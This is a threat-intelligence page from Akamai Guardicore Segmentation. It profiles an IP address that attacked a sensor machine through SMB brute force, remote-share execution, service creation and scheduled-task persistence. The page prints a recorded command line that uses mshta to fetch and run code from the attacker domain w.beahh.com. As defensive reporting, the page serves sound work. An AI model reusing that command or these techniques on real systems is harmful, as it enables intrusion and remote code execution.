Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 14.230.189.137Malicious

IP Address: 14.230.189.137Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

SMB DNS Query Execute from Share Access Share Access Suspicious Domain File Operation By CMD Service Deletion SMB Brute Force SMB Share Connect Download File Scheduled Task Creation Service Start Successful SMB Login Service Creation Service Stop CMD

Associated Attack Servers

w.beahh.com

Basic Information

IP Address

14.230.189.137

Domain

-

ISP

-

Country

Viet Nam

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2023-09-15

Last seen in Akamai Guardicore Segmentation

2023-09-15

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: BINH - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

C:\ySMKiIhD.exe was downloaded

Download File

ysmkiihd.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\ysmkiihd.exe as a service named snXf under service group None

Service Start Service Creation

A user logged in using SMB with the following username: BINH - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 4 times

SMB Brute Force Successful SMB Login

xiqfpyyt.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\xiqfpyyt.exe as a service named VRNl under service group None

Service Start Service Creation

Service VRNl was stopped

Service Stop

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.beahh.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.beahh.com

DNS Query Access Suspicious Domain

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

The command line c:\windows\uCdtCyBk.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autostart.job

C:\qtyUDfCy.exe was downloaded

Download File

The command line c:\windows\XPgsmxg.exe was scheduled to run by modifying C:\WINDOWS\Tasks\escan.job

qtyudfcy.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\qtyudfcy.exe as a service named xWli under service group None

Service Start Service Creation

Connection was closed due to timeout

Associated Files

C:\WINDOWS\Temp\svchost.exe

SHA256: 170e3fb081c0e90a234b004f4efc9aec9053b72f258ac59032ebc3095e908b5a

260000 bytes

C:\windows\temp\svchost.exe

SHA256: 18aba61b44e6acd8ca956ed048afd6ab5e4f2028d95b7aedad3265e20b30ff11

260000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 301f50bd4d7f258d8e371bd5089918f94d9aed4311013a3371f5f4be84a9d6dc

195000 bytes

C:\ABIYbNrG.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes